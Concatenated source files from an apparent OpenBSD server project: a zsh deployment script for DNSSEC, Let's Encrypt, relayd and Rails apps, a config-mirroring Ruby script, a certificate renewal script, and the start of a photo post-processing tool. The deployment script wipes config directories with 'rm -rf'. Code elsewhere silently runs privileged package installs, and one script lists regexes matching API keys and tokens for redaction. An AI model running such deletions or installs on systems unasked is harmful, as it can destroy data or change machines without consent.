backup_directory /var/nsd/zones/master nsd-zones || { log ERROR "Backup failed"; exit 1 }
transaction_log "DELETE" "/var/nsd/etc/*" "START"
rm -rf /var/nsd/etc/*(/) /var/nsd/zones/master/*(/)
transaction_log "DELETE" "/var/nsd/etc/* and /var/nsd/zones/master/*" "SUCCESS"
install_template var/nsd/etc/nsd.conf /var/nsd/etc/nsd.conf
for domain in ${ALL_DOMAINS[*]%%:*}; do
append_template var/nsd/etc/nsd-zone.tmpl /var/nsd/etc/nsd.conf
done
nsd-checkconf /var/nsd/etc/nsd.conf || { log ERROR "nsd.conf invalid"; exit 1 }
typeset serial=${$(date +%Y%m%d%H):-}
for domain_entry in $ALL_DOMAINS; do
typeset domain=${domain_entry%%:*}
typeset subdomains=${domain_entry#*:}
[[ $subdomains = $domain ]] && subdomains=""
install_template var/nsd/zones/master/zone.tmpl /var/nsd/zones/master/$domain.zone
[[ $domain = brgen.no ]] && print -r -- "ns IN A $BRGEN_IP" >> /var/nsd/zones/master/$domain.zone
if [[ -n $subdomains && $subdomains != $domain ]]; then
for subdomain in ${(s:,:):-$subdomains}; do
print -r -- "$subdomain IN A $BRGEN_IP" >> /var/nsd/zones/master/$domain.zone
done
fi
nsd-checkzone "$domain" /var/nsd/zones/master/$domain.zone \
|| { log ERROR "Zone invalid for $domain"; exit 1 }
cd /var/nsd/zones/master
typeset zsk ksk
zsk=$(ldns-keygen -a ECDSAP256SHA256 "$domain")
ksk=$(ldns-keygen -k -a ECDSAP256SHA256 -b 2048 "$domain")
typeset zonefile=/var/nsd/zones/master/$domain.zone
typeset signed_zonefile=/var/nsd/zones/master/$domain.zone.signed
typeset salt=$(dd if=/dev/random bs=16 count=1 2>/dev/null | sha1 -q)
ldns-signzone -n -p -s "$salt" "$zonefile" "$zsk" "$ksk"
nsd-checkzone "$domain" "$signed_zonefile" || { log ERROR "Signed zone invalid for $domain"; exit 1 }
nsd-control reload 2>/dev/null || true
ldns-key2ds -n -2 /var/nsd/zones/master/$domain.zone.signed > /var/nsd/zones/master/$domain.ds
chown _nsd:_nsd /var/nsd/zones/master/*
chmod 640 /var/nsd/zones/master/*
done
[[ ! -f /var/nsd/etc/nsd_server.pem ]] && {
log INFO "Generating NSD control certificates"
cd /var/nsd/etc && nsd-control-setup || { log ERROR "nsd-control-setup failed"; exit 1 }
}
cleanup_nsd
/usr/sbin/rcctl enable nsd
typeset retries=0 max_retries=2
while (( retries <= max_retries )); do
/usr/bin/timeout 10 /usr/sbin/rcctl start nsd && break
(( retries++ ))
(( retries <= max_retries )) && cleanup_nsd || { log ERROR "nsd failed"; exit 1 }
done
sleep 5
typeset _nsd_check; _nsd_check=$(/usr/sbin/rcctl check nsd)
[[ $_nsd_check == *"nsd(ok)"* ]] || { log ERROR "nsd not running"; exit 1 }
verify_nsd
[[ -d /var/www/acme ]] || mkdir -p /var/www/acme
install_static etc/httpd.conf /etc/httpd.conf
httpd -n -f /etc/httpd.conf || { log ERROR "httpd.conf invalid"; exit 1 }
/usr/sbin/rcctl enable httpd
/usr/sbin/rcctl start httpd || { log ERROR "httpd failed"; exit 1 }
sleep 5
typeset _httpd_check; _httpd_check=$(/usr/sbin/rcctl check httpd)
[[ $_httpd_check == *"httpd(ok)"* ]] || { log ERROR "httpd not running"; exit 1 }
# httpd strips /.well-known/acme-challenge/ and serves from /var/www/acme/<token>
print -r -- test > /var/www/acme/test
typeset http_status=${$(curl -s -o /dev/null -w "%{http_code}" http://$BRGEN_IP/.well-known/acme-challenge/test):-000}
rm -f /var/www/acme/test
[[ $http_status == "200" ]] || { log ERROR "httpd pre-flight failed (HTTP $http_status)"; exit 1 }
[[ $(<"/etc/group") == *$'\n_acme:'* || $(<"/etc/group") == _acme:* ]] || groupadd -g 765 _acme
[[ ! -f /etc/acme/letsencrypt_privkey.pem ]] && \
openssl genpkey -algorithm RSA -out /etc/acme/letsencrypt_privkey.pem -pkeyopt rsa_keygen_bits:4096
chown root:_acme /etc/acme/letsencrypt_privkey.pem
chmod 640 /etc/acme/letsencrypt_privkey.pem
install_static etc/acme-client.conf /etc/acme-client.conf
for domain_entry in $ALL_DOMAINS; do
typeset domain=${domain_entry%%:*}
typeset subdomains=${domain_entry#*:}
[[ $subdomains = $domain ]] && subdomains=""
{
print -r -- "domain \"$domain\" {"
if [[ -n $subdomains ]]; then
typeset altnames="\"$domain\""
for sub in ${(s:,:)subdomains}; do altnames="$altnames \"$sub.$domain\""; done
print -r -- " alternative names { $altnames }"
fi
print -r -- " domain key \"/etc/ssl/private/$domain.key\""
print -r -- " domain full chain certificate \"/etc/ssl/$domain.fullchain.pem\""
print -r -- " sign with letsencrypt"
print -r -- " challengedir \"/var/www/acme\""
print -r -- "}"
print -r -- ""
} >> /etc/acme-client.conf
done
acme-client -n -f /etc/acme-client.conf || { log ERROR "acme-client.conf invalid"; exit 1 }
for domain_entry in $ALL_DOMAINS; do
typeset domain=${domain_entry%%:*}
typeset dns_check=${$(/usr/bin/dig @"$BRGEN_IP" "$domain" A +short):-}
if [[ $dns_check != $BRGEN_IP ]]; then
log WARN "DNS for $domain failed"; FAILED_CERTS[$domain]=1; continue
fi
print -r -- "test_$domain" > /var/www/acme/test_$domain
typeset http_status=${$(curl -s -o /dev/null -w "%{http_code}" -H "Host: $domain" http://$BRGEN_IP/.well-known/acme-challenge/test_$domain):-000}
rm -f /var/www/acme/test_$domain
if [[ $http_status != 200 ]]; then
log WARN "HTTP test for $domain failed"; FAILED_CERTS[$domain]=1; continue
fi
if acme-client -v -f /etc/acme-client.conf "$domain"; then
generate_tlsa_record "$domain"
else
log WARN "Certificate issuance failed for $domain"; FAILED_CERTS[$domain]=1
fi
done
(( $#FAILED_CERTS )) && retry_failed_certs
install_static usr/local/bin/renew-certs.sh /usr/local/bin/renew-certs.sh
chmod 755 /usr/local/bin/renew-certs.sh
typeset crontab_tmp=/tmp/crontab_tmp
crontab -l 2>/dev/null > $crontab_tmp || :
print -r -- "0 2 * * 1 /usr/local/bin/renew-certs.sh >> /var/log/cert-renewal.log 2>&1" >> $crontab_tmp
crontab $crontab_tmp || { log ERROR "Crontab update failed"; exit 1 }
rm $crontab_tmp
log INFO "Stage 1 complete. ns.brgen.no ($BRGEN_IP) authoritative with DNSSEC."
log INFO "DS records: /var/nsd/zones/master/*.ds — submit each to your registrar (Domeneshop: domain settings → DNSSEC)."
log INFO "After submitting DS records, wait 24-48h for propagation, then press Enter to continue."
log INFO "Verify with: dig DS brgen.no +short"
read -r
}
# ── Stage 2: services, Rails apps, relayd ─────────────────────────────────────
setup_services() {
log INFO "Setting up services"
/usr/sbin/rcctl enable smtpd
/usr/sbin/rcctl start smtpd || { log ERROR "smtpd failed"; exit 1 }
sleep 5
typeset _smtpd_check; _smtpd_check=$(/usr/sbin/rcctl check smtpd)
[[ $_smtpd_check == *"smtpd(ok)"* ]] || { log ERROR "smtpd not running"; exit 1 }
/usr/bin/timeout 5 telnet $BRGEN_IP 25 >/dev/null 2>&1 || log WARN "SMTP port 25 not responding"
/usr/sbin/rcctl enable relayd
log INFO "Services configured. relayd enabled but not started (awaiting configuration)"
}
bootstrap_rails_app() {
typeset app=$1 port=$2
typeset src=/home/dev/pub4/DEPLOY/rails/$app/app
typeset app_dir=/home/$app/app
typeset bundle_home=/home/$app/.bundle
typeset secret
[[ -d $src ]] || { log ERROR "source tree missing: $src"; return 1 }
log INFO "bootstrapping $app -> $app_dir on :$port"
id "$app" >/dev/null 2>&1 || useradd -m -L daemon -s /bin/ksh "$app"
mkdir -p "$app_dir"
cp -R "${src}/." "${app_dir}/"
chown -R "${app}:${app}" "/home/$app"
if [[ ! -d $bundle_home/gems && $app != amber && -d /home/amber/.bundle/gems ]]; then
log INFO " seeding gems from amber donor"
mkdir -p "$bundle_home"
cp -R /home/amber/.bundle/gems "$bundle_home/"
chown -R "${app}:${app}" "$bundle_home"
mkdir -p "$app_dir/.bundle"
print -r -- "---" > "$app_dir/.bundle/config"
print -r -- "BUNDLE_PATH: \"${bundle_home}/gems\"" >> "$app_dir/.bundle/config"
chown "${app}:${app}" "$app_dir/.bundle/config"
fi
su -l "$app" -c "gem install --user-install rails bundler falcon" >/dev/null 2>&1 || :
su -l "$app" -c "cd $app_dir && bundle config set --local deployment true && bundle config set --local without development:test && RAILS_ENV=production bundle install" \
|| { log ERROR "bundle install failed for $app"; return 1 }
su -l "$app" -c "cd $app_dir && RAILS_ENV=production bin/rails db:create db:migrate" \
|| log WARN "db:create/migrate non-zero for $app (idempotent skip likely)"
[[ -f $app_dir/db/seeds.rb ]] && \
su -l "$app" -c "cd $app_dir && RAILS_ENV=production bin/rails db:seed" || :
typeset -a _secret_lines
_secret_lines=("${(@f)$(su -l "$app" -c "cd $app_dir && RAILS_ENV=production bundle exec rails secret 2>/dev/null")}")
secret=${_secret_lines[-1]}
[[ ${#secret} -ge 64 ]] || { log ERROR "$app: secret capture failed (got ${#secret} chars)"; return 1 }
install_template etc/rc.d/rails-app.tmpl /etc/rc.d/$app
chmod 755 /etc/rc.d/$app
/usr/sbin/rcctl enable $app
/usr/sbin/rcctl restart $app || /usr/sbin/rcctl start $app \
|| { log ERROR "$app failed to start"; return 1 }
sleep 5
typeset _c; _c=$(/usr/sbin/rcctl check $app)
[[ $_c == *"${app}(ok)"* ]] || { log ERROR "$app not running"; return 1 }
typeset _http; _http=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 http://127.0.0.1:${port}/up 2>/dev/null)
[[ $_http == "200" ]] || log WARN "$app /up returned $_http — SECRET_KEY_BASE or DB may need attention"
log INFO " $app live on :$port"
}
configure_relayd() {
log INFO "Writing relayd.conf (TLS+SNI on :443)"
typeset -A DOMAIN_BACKEND=() BACKEND_PORT=()
typeset app_entry app dom entry rest sub backend
for app_entry in $ALL_APPS; do
app=${app_entry%%:*}; dom=${app_entry##*:}
DOMAIN_BACKEND[$dom]=$app
BACKEND_PORT[$app]=${APP_PORTS[$app]:-0}
done
DOMAIN_BACKEND[ai.brgen.no]=master
BACKEND_PORT[master]=${BACKEND_PORT[master]:-53187}
for entry in $ALL_DOMAINS; do
dom=${entry%%:*}
[[ -n ${DOMAIN_BACKEND[$dom]:-} ]] && continue
DOMAIN_BACKEND[$dom]=brgen
done
for dom in ${(k)DOMAIN_BACKEND}; do
[[ -f /etc/ssl/${dom}.fullchain.pem ]] || continue
ln -sf /etc/ssl/${dom}.fullchain.pem /etc/ssl/${dom}.crt
done
{
print -r -- "log connection errors"
print -r -- ""
for backend in ${(k)BACKEND_PORT}; do
print -r -- "table <${backend}> { 127.0.0.1 }"
done
print -r -- ""
print -r -- "http protocol \"https_proxy\" {"
for dom in ${(k)DOMAIN_BACKEND}; do
[[ -L /etc/ssl/${dom}.crt ]] && print -r -- " tls keypair \"${dom}\""
done
print -r -- " match request header set \"X-Forwarded-Proto\" value \"https\""
print -r -- " match request header set \"X-Forwarded-For\" value \"\$REMOTE_ADDR\""
print -r -- " match response header set \"Strict-Transport-Security\" value \"max-age=31536000; includeSubDomains; preload\""
print -r -- " match response header set \"Content-Security-Policy\" value \"upgrade-insecure-requests; default-src https: 'self'\""
print -r -- " match response header set \"Referrer-Policy\" value \"strict-origin\""
print -r -- " match response header set \"X-Content-Type-Options\" value \"nosniff\""
print -r -- " match response header set \"X-Frame-Options\" value \"SAMEORIGIN\""
print -r -- " match response header set \"X-XSS-Protection\" value \"1; mode=block\""
print -r -- " http websockets"
for dom in ${(k)DOMAIN_BACKEND}; do
backend=${DOMAIN_BACKEND[$dom]}
print -r -- " match request header \"Host\" value \"${dom}\" forward to <${backend}>"
for entry in $ALL_DOMAINS; do
[[ ${entry%%:*} == $dom ]] || continue
rest=${entry#*:}
[[ $rest == $dom ]] && break
for sub in ${(s:,:)rest}; do
[[ -n ${DOMAIN_BACKEND[${sub}.${dom}]:-} ]] && continue
print -r -- " match request header \"Host\" value \"${sub}.${dom}\" forward to <${backend}>"
done
break
done
done
print -r -- " pass"
print -r -- "}"
print -r -- ""
print -r -- "relay \"https_in\" {"
print -r -- " listen on 0.0.0.0 port 443 tls"
print -r -- " protocol \"https_proxy\""
for backend in ${(k)BACKEND_PORT}; do
print -r -- " forward to <${backend}> port ${BACKEND_PORT[$backend]} check tcp"
done
print -r -- "}"
} > /etc/relayd.conf
relayd -n -f /etc/relayd.conf || { log ERROR "relayd.conf invalid"; exit 1 }
/usr/sbin/rcctl enable relayd
/usr/sbin/rcctl restart relayd || /usr/sbin/rcctl start relayd \
|| { log ERROR "relayd failed"; exit 1 }
sleep 3
typeset _c; _c=$(/usr/sbin/rcctl check relayd)
[[ $_c == *"relayd(ok)"* ]] || { log ERROR "relayd not running"; exit 1 }
log INFO "relayd live — TLS+SNI on :443"
}
configure_dev_ssh() {
typeset cfg=/home/dev/.ssh/config
install -d -o dev -g dev -m 700 /home/dev/.ssh
[[ -f $cfg ]] || install -o dev -g dev -m 600 /dev/null "$cfg"
typeset existing="$(<$cfg)"
if [[ $existing != *"Host github.com"* ]]; then
print -r -- $'\nHost github.com\n IdentityFile ~/.ssh/id_ed25519_brgen\n IdentitiesOnly yes' >>"$cfg"
chown dev:dev "$cfg"
chmod 600 "$cfg"
log INFO "dev ssh: github.com block installed"
fi
# Ensure the operator dev account uses the modern Zsh environment
# (packages for zsh + starship + neovim etc. are installed in Stage 1).
typeset dev_shell=${${(s/:/)$(getent passwd dev)}[-1]}
if [[ $dev_shell != */zsh ]]; then
chsh -s /usr/local/bin/zsh dev 2>/dev/null || log WARN "chsh dev to zsh failed (may need manual)"
fi
}
stage_2() {
log INFO "Stage 2: services and apps"
check_dns_propagation
typeset _mem_line; _mem_line=$(vmstat -s | while IFS= read -r _l; do [[ $_l == *"free memory"* ]] && print -r -- "$_l" && break; done)
typeset _mem_free=${${(z)_mem_line}[1]}
(( _mem_free < 512000 )) && { log ERROR "Insufficient free memory"; exit 1 }
install_template etc/pf.conf /etc/pf.conf
/sbin/pfctl -nf /etc/pf.conf || { log ERROR "pf.conf invalid"; exit 1 }
/sbin/pfctl -f /etc/pf.conf || { log ERROR "pf failed"; exit 1 }
install_template etc/mail/smtpd.conf /etc/mail/smtpd.conf
smtpd -n -f /etc/mail/smtpd.conf || { log ERROR "smtpd.conf invalid"; exit 1 }
[[ ! -f /etc/ssl/private/smtp.key ]] && \
openssl genpkey -algorithm RSA -out /etc/ssl/private/smtp.key -pkeyopt rsa_keygen_bits:4096
[[ ! -f /etc/ssl/smtp.crt ]] && \
openssl req -x509 -new -key /etc/ssl/private/smtp.key -out /etc/ssl/smtp.crt -days 365 -subj "/CN=mail.pub.attorney"
chmod 640 /etc/ssl/private/smtp.key /etc/ssl/smtp.crt
setup_services
typeset -a deploy_order=(amber)
for app_entry in $ALL_APPS; do
typeset app=${app_entry[(ws:*:)1]}
[[ $app != amber ]] && deploy_order+=($app)
done
for app in $deploy_order; do
typeset port=${APP_PORTS[$app]:=$(generate_random_port)}
APP_PORTS[$app]=$port
bootstrap_rails_app "$app" "$port" || { log ERROR "bootstrap failed: $app"; exit 1 }
done
for svc_entry in $SERVICES; do
typeset svc_name=${svc_entry%%:*}
typeset svc_rest=${svc_entry#*:}
typeset svc_port=${svc_rest##*:}
log INFO "Setting up service: $svc_name on port $svc_port"
chmod 755 /etc/rc.d/$svc_name
/usr/sbin/rcctl enable $svc_name
/usr/sbin/rcctl start $svc_name || log WARN "$svc_name start failed (may need manual start)"
done
configure_dev_ssh
log INFO "Deploying MASTER web UI"
typeset m3dir="/home/dev/pub4/MASTER"
[[ -d $m3dir ]] || { log ERROR "MASTER not found at $m3dir"; exit 1 }
cd "$m3dir/web"
bundle config set --local path vendor/bundle
bundle install --quiet
typeset master_secret
typeset -a _master_secret_lines
_master_secret_lines=("${(@f)$(RAILS_ENV=production bundle exec rails secret 2>/dev/null)}")
master_secret=${_master_secret_lines[-1]}
[[ ${#master_secret} -ge 64 ]] || { log ERROR "master: secret capture failed (got ${#master_secret} chars)"; exit 1 }
install_template etc/rc.d/master.tmpl /etc/rc.d/master
chmod 555 /etc/rc.d/master
rcctl enable master
rcctl start master
log INFO "MASTER web UI running on :53187"
configure_relayd
log INFO "Deploy complete. Test: curl https://brgen.no, rcctl check master."
}
# ── Entry point ───────────────────────────────────────────────────────────────
main() {
if [[ ${1:-} = --help ]]; then
print -r -- "Configure OpenBSD 7.8 for Rails with DNSSEC and relayd TLS+SNI.
Usage: doas zsh openbsd.sh [--help]"
exit 0
fi
stage_1
stage_2
}
main "$@"#!/usr/bin/env ruby
# frozen_string_literal: true
# Mirror live VPS config into DEPLOY/openbsd/ with secret redaction.
# Run on VPS: doas ruby34 ~/pub4/DEPLOY/openbsd/sync.rb
require "fileutils"
MIRROR = File.expand_path("..", __FILE__)
FIXED_SOURCES = [
"/etc/rc.d/master", "/etc/rc.d/brgen", "/etc/rc.d/brgen_tv", "/etc/rc.d/brgen_rails",
"/etc/rc.d/amber", "/etc/rc.d/amber_rails", "/etc/rc.d/baibl",
"/etc/rc.d/blognet", "/etc/rc.d/blognet_rails",
"/etc/rc.d/bsdports", "/etc/rc.d/bsdports_rails",
"/etc/rc.d/hjerterom", "/etc/rc.d/hjerterom_rails",
"/etc/relayd.conf", "/etc/httpd.conf", "/etc/pf.conf",
"/etc/acme-client.conf", "/var/nsd/etc/nsd.conf",
"/etc/login.conf", "/etc/rc.conf.local",
"/home/dev/.zshrc",
].freeze
# Public DNS data — zone files, signed zones, public keys, DS records.
# Excludes K*.private (DNSSEC signing keys) and runtime state (*.db).
NSD_ZONE_GLOBS = %w[
/var/nsd/zones/master/*.zone
/var/nsd/zones/master/*.zone.signed
/var/nsd/zones/master/K*.key
/var/nsd/zones/master/K*.ds
].freeze
SOURCES = (FIXED_SOURCES + NSD_ZONE_GLOBS.flat_map { |g| Dir[g] }).uniq.freeze
SECRET_PATTERNS = [
/(_API_KEY=)\S+/,
/(_KEY=)sk-\S+/,
/(SECRET_KEY_BASE=)[a-f0-9]{32,}/,
/(_TOKEN=)\S+/,
/(_PASSWORD=)\S+/,
/(_SECRET=)\S+/,
].freeze
def redact(body)
SECRET_PATTERNS.inject(body) { |acc, pat| acc.gsub(pat, '\1__REDACTED__') }
end
def dest_for(path)
case path
when %r{^/etc/rc\.d/(.+)} then File.join(MIRROR, "etc", "rc.d", $1)
when %r{^/etc/(.+)} then File.join(MIRROR, "etc", $1)
when %r{^/var/nsd/etc/(.+)} then File.join(MIRROR, "var", "nsd", "etc", $1)
when %r{^/var/nsd/zones/(.+)} then File.join(MIRROR, "var", "nsd", "zones", $1)
when %r{^/home/dev/(.+)} then File.join(MIRROR, "etc", File.basename($1))
else File.join(MIRROR, "etc", File.basename(path))
end
end
mirrored = []
skipped = []
SOURCES.each do |path|
unless File.exist?(path)
skipped << path
next
end
body = File.read(path, encoding: "UTF-8", invalid: :replace, undef: :replace)
dest = dest_for(path)
FileUtils.mkdir_p(File.dirname(dest))
File.write(dest, redact(body))
mirrored << path
end
puts "mirrored #{mirrored.size}:"
mirrored.each { |p| puts " #{p}" }
if skipped.any?
puts "skipped (not present): #{skipped.size}"
skipped.each { |p| puts " #{p}" }
end#!/usr/bin/env zsh
set -euo pipefail
generate_tlsa_record() {
typeset domain=$1
typeset cert=/etc/ssl/$domain.fullchain.pem
typeset zonefile=/var/nsd/zones/master/$domain.zone
typeset zsk=/var/nsd/zones/master/K$domain.+013+zsk.key
typeset ksk=/var/nsd/zones/master/K$domain.+013+ksk.key
[[ ! -f $cert ]] && return 1
typeset tlsa_record
tlsa_record=$(openssl x509 -noout -pubkey -in "$cert" | \
openssl pkey -pubin -outform der 2>/dev/null | \
openssl dgst -sha256 2>/dev/null)
tlsa_record=${tlsa_record##* }
[[ -z $tlsa_record ]] && return 1
typeset -a lines
lines=("${(@f)$(<$zonefile)}")
lines=("${(@)lines:#_443._tcp.$domain. IN TLSA*}")
print -rl -- $lines > "$zonefile"
print -r -- "_443._tcp.$domain. IN TLSA 3 1 1 $tlsa_record" >> "$zonefile"
typeset salt
salt=$(dd if=/dev/random bs=16 count=1 2>/dev/null | sha1 -q)
ldns-signzone -n -p -s "$salt" "$zonefile" "$zsk" "$ksk"
nsd-control reload
}
ALL_DOMAINS=(
brgen.no longyearbyn.no oshlo.no stvanger.no trmso.no trndheim.no
reykjavk.is kbenhvn.dk gtebrg.se mlmoe.se stholm.se hlsinki.fi
brmingham.uk cardff.uk edinbrgh.uk glasgw.uk lndon.uk lverpool.uk
mnchester.uk amstrdam.nl rottrdam.nl utrcht.nl brssels.be zrich.ch
lchtenstein.li frankfrt.de brdeaux.fr mrseille.fr mlan.it lisbon.pt
wrsawa.pl gdnsk.pl austn.us chcago.us denvr.us dllas.us dnver.us
dtroit.us houstn.us lsangeles.com mnnesota.com newyrk.us prtland.com
wshingtondc.com pub.healthcare pub.attorney freehelp.legal
bsdports.org bsddocs.org discordb.org foodielicio.us
stacyspassion.com antibettingblog.com anticasinoblog.com
antigamblingblog.com foball.no amber.brgen.no baibl.no
)
for domain in $ALL_DOMAINS; do
if acme-client -v -f /etc/acme-client.conf "$domain"; then
print -r -- "Renewed: $domain"
generate_tlsa_record "$domain"
fi
done
/usr/sbin/rcctl reload relayd#!/usr/bin/env ruby
# frozen_string_literal: true
# Postpro.rb - Professional Cinematic Post-Processing
# Version: 20.0.0 - Photo quality research: adaptive contrast, filmic shoulder/toe,
# clarity (local contrast), edge-aware NR, selective sharpening; quality_uplift preset
require "logger"
require "json"
require "time"
require "fileutils"
BOOT_TIME = Time.now.freeze
module PostproBootstrap
def self.dmesg(msg)
elapsed = defined?(BOOT_TIME) ? " +%.3fs" % (Time.now - BOOT_TIME) : ""
$stdout.puts "postpro0 at vips8#{elapsed}: #{msg}"
$stdout.flush
end
def self.startup_banner
dmesg "ruby#{RUBY_VERSION} os=#{RbConfig::CONFIG["host_os"]} pid=#{Process.pid}"
end
def self.ensure_gems
vips_available = ensure_vips
tty_available = ensure_tty_prompt
dmesg "vipsgem=#{vips_available} tty=#{tty_available}"
{ vips: vips_available, tty: tty_available }
end
def self.ensure_vips
require "vips"
true
rescue LoadError
dmesg "WARN ruby-vips gem missing, attempting install..."
begin
if system("gem install ruby-vips --no-document")
require "vips"
dmesg "OK ruby-vips gem installed"
true
else
dmesg "WARN ruby-vips install failed"
probe_and_install_libvips
false
end
rescue StandardError => e
dmesg "WARN ruby-vips unavailable: #{e.message}"
false
end
end
def self.ensure_tty_prompt
require "tty-prompt"
true
rescue LoadError
dmesg "WARN tty-prompt gem missing, attempting install..."
begin
if system("gem install tty-prompt --no-document")
require "tty-prompt"
dmesg "OK tty-prompt gem installed"
true
else
dmesg "WARN tty-prompt install failed, degraded prompt experience"
false
end
rescue StandardError => e
dmesg "WARN tty-prompt unavailable: #{e.message}"
false
end
end
def self.probe_and_install_libvips
dmesg "probing libvips installation..."
if system("pkg-config", "--exists", "vips", out: File::NULL, err: File::NULL)
dmesg "OK libvips already installed"
return true
end
# Detect package manager and attempt install
os = RbConfig::CONFIG["host_os"]
case os
when /darwin/
if system("which", "brew", out: File::NULL, err: File::NULL)
dmesg "attempting: brew install vips"
system("brew", "install", "vips")
else
dmesg "ERROR homebrew not found, install manually: brew install vips"
end
when /linux/
if system("which", "apt", out: File::NULL, err: File::NULL)
dmesg "attempting: apt install libvips-dev"
system("apt", "update") && system("apt", "install", "-y", "libvips-dev")
elsif system("which", "dnf", out: File::NULL, err: File::NULL)
dmesg "attempting: dnf install vips-devel"
system("dnf", "install", "-y", "vips-devel")
elsif system("which", "yum", out: File::NULL, err: File::NULL)
dmesg "attempting: yum install vips-devel"
system("yum", "install", "-y", "vips-devel")
elsif system("which", "apk", out: File::NULL, err: File::NULL)
dmesg "attempting: apk add vips-dev"
system("apk", "add", "vips-dev")
elsif system("which", "pacman", out: File::NULL, err: File::NULL)
dmesg "attempting: pacman -S libvips"
system("pacman", "-S", "--noconfirm", "libvips")
else
dmesg "ERROR no supported package manager found"
end
when /openbsd/
if system("which pkg_add > /dev/null 2>&1")
dmesg "attempting: pkg_add vips"
system("doas pkg_add vips")
else
dmesg "ERROR pkg_add not found"
end
else
dmesg "ERROR unsupported OS: #{os}"
end
# Verify installation
if system("pkg-config", "--exists", "vips", out: File::NULL, err: File::NULL)
dmesg "OK libvips installation successful"
true
else
dmesg "ERROR libvips installation failed"
false
end
end
def self.load_camera_profiles(profiles_path)
profiles = {}
unless Dir.exist?(profiles_path)
dmesg "WARN camera profiles directory not found: #{profiles_path}"
return profiles
end
Dir.glob(File.join(profiles_path, "*.json")).each do |file|
begin
data = JSON.parse(File.read(file))
vendor = data["vendor"]
if vendor && data["profiles"]
profiles[vendor] = data["profiles"]
end
rescue StandardError => e
dmesg "WARN failed to load profile #{File.basename(file)}: #{e.message}"
end
end
brands = profiles.keys.join(",")
dmesg "camera_profiles=#{brands.empty? ? 'none' : brands}"
profiles
end
def self.load_master_config
return {} unless File.exist?("master.json")
begin
master = JSON.parse(File.read("master.json").gsub(/^.*\/\/.*$/, ""))
config = master.dig("config", "multimedia", "postpro") || {}
dmesg "OK loaded defaults from master.json"
config
rescue StandardError => e
dmesg "WARN failed to parse master.json: #{e.message}"
{}
end
end
def self.run
startup_banner
gems = ensure_gems
unless gems[:vips]
dmesg "FATAL libvips unavailable; macOS: brew install vips; Ubuntu: apt install libvips-dev; OpenBSD: doas pkg_add vips"
exit 1
end
profiles_path = "multimedia/camera_profiles"
camera_profiles = load_camera_profiles(profiles_path)
config = load_master_config
{
gems: gems,
camera_profiles: camera_profiles,
config: config
}
end
end
BOOTSTRAP = PostproBootstrap.run
$logger = Logger.new("postpro.log", "daily", level: Logger::DEBUG)
$cli_logger = Object.new.tap do |obj|
def obj.info(msg) = PostproBootstrap.dmesg(msg)
def obj.error(msg) = PostproBootstrap.dmesg("error #{msg}")
end
if BOOTSTRAP[:gems][:tty]
require "tty-prompt"
PROMPT = TTY::Prompt.new
else
PROMPT = nil
end
if BOOTSTRAP[:gems][:vips]
require "vips"
end
REPLIGEN_PRESENT = File.exist?("repligen.rb")
CAMERA_PROFILES = BOOTSTRAP[:camera_profiles]
CONFIG = BOOTSTRAP[:config]
# Per-stock data: grain sigma (legacy), 3x3 colour matrix, and characteristic
# curve [Dmin, Dmax, pivot, gamma] per R/G/B. Dmin lifts shadows (base+fog),
# Dmax caps highlights (shoulder), pivot is the linear midtone fulcrum (≈0.18),
# gamma is contrast (>1 = steeper). Per-channel offsets create stock colour cast.
STOCKS = {
kodak_portra: { grain: 15,
sublayers: [{ sensitivity_shift: 0.0, grain_scale: 1.4, weight: 0.45 },
{ sensitivity_shift: -0.5, grain_scale: 1.0, weight: 0.55 }],
matrix: [1.05, -0.02, -0.03, 0.02, 0.98, 0.00, 0.01, -0.05, 1.04],
hd: { r: [0.06, 0.93, 0.18, 1.10], g: [0.05, 0.94, 0.18, 1.10], b: [0.04, 0.92, 0.20, 1.05] } },
kodak_vision3: { grain: 20,
sublayers: [{ sensitivity_shift: 0.3, grain_scale: 1.5, weight: 0.40 },
{ sensitivity_shift: 0.0, grain_scale: 1.1, weight: 0.35 },
{ sensitivity_shift: -0.6, grain_scale: 0.85, weight: 0.25 }],
matrix: [1.08, -0.05, -0.03, 0.03, 0.95, 0.02, 0.02, -0.08, 1.06],
hd: { r: [0.07, 0.95, 0.17, 1.15], g: [0.06, 0.95, 0.18, 1.20], b: [0.08, 0.90, 0.20, 1.10] } },
kodak_vision3_50d: { grain: 8, matrix: [1.06, -0.03, -0.02, 0.02, 0.96, 0.01, 0.01, -0.05, 1.04],
hd: { r: [0.05, 0.95, 0.18, 1.08], g: [0.04, 0.95, 0.18, 1.12], b: [0.03, 0.93, 0.20, 1.05] } },
kodak_vision3_500t: { grain: 20, matrix: [1.10, -0.06, -0.04, 0.04, 0.94, 0.03, 0.04, -0.10, 1.09],
hd: { r: [0.08, 0.95, 0.17, 1.18], g: [0.06, 0.95, 0.18, 1.22], b: [0.10, 0.90, 0.20, 1.15] },
focal_plane_offset: 1.1 },
cinestill_800t: { grain: 22,
sublayers: [{ sensitivity_shift: 0.4, grain_scale: 1.6, weight: 0.35 },
{ sensitivity_shift: 0.0, grain_scale: 1.2, weight: 0.40 },
{ sensitivity_shift: -0.5, grain_scale: 0.9, weight: 0.25 }],
matrix: [1.12, -0.07, -0.05, 0.04, 0.93, 0.03, 0.05, -0.12, 1.10],
hd: { r: [0.09, 0.96, 0.17, 1.20], g: [0.07, 0.95, 0.18, 1.25], b: [0.12, 0.88, 0.20, 1.18] },
halation: 0.8, focal_plane_offset: 1.2 },
ektachrome_100: { grain: 10, matrix: [1.08, -0.04, -0.04, 0.02, 1.02, -0.02, 0.01, -0.08, 1.07],
hd: { r: [0.02, 0.97, 0.18, 1.30], g: [0.02, 0.97, 0.18, 1.35], b: [0.03, 0.96, 0.20, 1.25] } },
fuji_velvia: { grain: 8, matrix: [1.12, -0.08, -0.04, 0.05, 1.05, -0.02, 0.01, -0.12, 1.11],
hd: { r: [0.02, 0.97, 0.18, 1.45], g: [0.02, 0.98, 0.18, 1.50], b: [0.03, 0.95, 0.20, 1.40] } },
tri_x: { grain: 25, matrix: [1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0],
hd: { r: [0.05, 0.95, 0.18, 1.30], g: [0.05, 0.95, 0.18, 1.30], b: [0.05, 0.95, 0.18, 1.30] } },
# Kodachrome: steep gamma, no in-film couplers, external development process.
# Punchy reds, heavy yellow separation, minimal shadow fog.
kodachrome: { grain: 12, matrix: [1.15, -0.10, -0.05, 0.03, 1.00, -0.03, 0.00, -0.10, 1.10],
hd: { r: [0.02, 0.97, 0.18, 1.42], g: [0.03, 0.97, 0.18, 1.36], b: [0.04, 0.95, 0.20, 1.20] } },
}.freeze
